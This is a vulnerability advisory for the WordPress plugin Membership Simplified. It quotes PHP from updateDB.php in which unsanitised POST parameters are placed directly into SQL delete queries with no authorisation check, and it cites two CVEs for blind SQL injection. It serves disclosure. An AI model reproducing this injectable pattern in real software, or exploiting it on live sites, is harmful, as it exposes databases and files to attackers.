Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
Vulnerability:
The code in membership-simplified-for-oap-members-only/updateDB.php is vulnerable to blind SQL injection because it doesn't sanitize user input via any of the POST requests being passed into the SQL query.  Also it doesn't check that a user is authorized to make updates to the database.

  2 require_once("../../../wp-config.php");
  3 global $wpdb;
  4 $table_name = $wpdb->prefix . "download_listing";
  5 $media_table_name = $wpdb->prefix . "media_listing";
  6 $action = $_POST['action'];
  7 $updateRecordsArray = $_POST['recordsArray'];
  8 $mediaupdateRecordsArray = $_POST['mediaRecordsArray'];

CVE-2017-1002009:
I chose to test the SQL injection against the delete action as it was the most straightforward injection point.

 34 if($action == 'delete') {
 35         $upload_base_dir = wp_upload_dir();
 36         $upload_dir =  $upload_base_dir['basedir'];
 37         $path= $upload_dir.'/membership-simplified-for-oap-members-only/';
 38         $fileName = $wpdb->get_row("select fileName from $table_name where recordId= ".$_POST['recordId']."");
 39         @unlink($path.$fileName->fileName);
 40         $query= "delete from $table_name where recordId= '".$_POST['recordId']."' ";
 41         $wpdb->query($query) or die('Error, insert query failed');
 42 
 43 }

CVE-2017-1002010:

 56 if($action == 'delete_media') {
 57         $upload_base_dir = wp_upload_dir();
 58         $upload_dir = $upload_base_dir['basedir'];
 59         $path = $upload_dir.'/membership-simplified-for-oap-members-only/';
 60         $fileName = $wpdb->get_row("select fileName from $media_table_name where recordId= ".$_POST['recordId']."");
 61         //@...ink($path.$fileName->fileName);
 62         $query= "delete from $media_table_name where recordId= '".$_POST['recordID']."' ";
 65         $wpdb->query($query) or die($query);
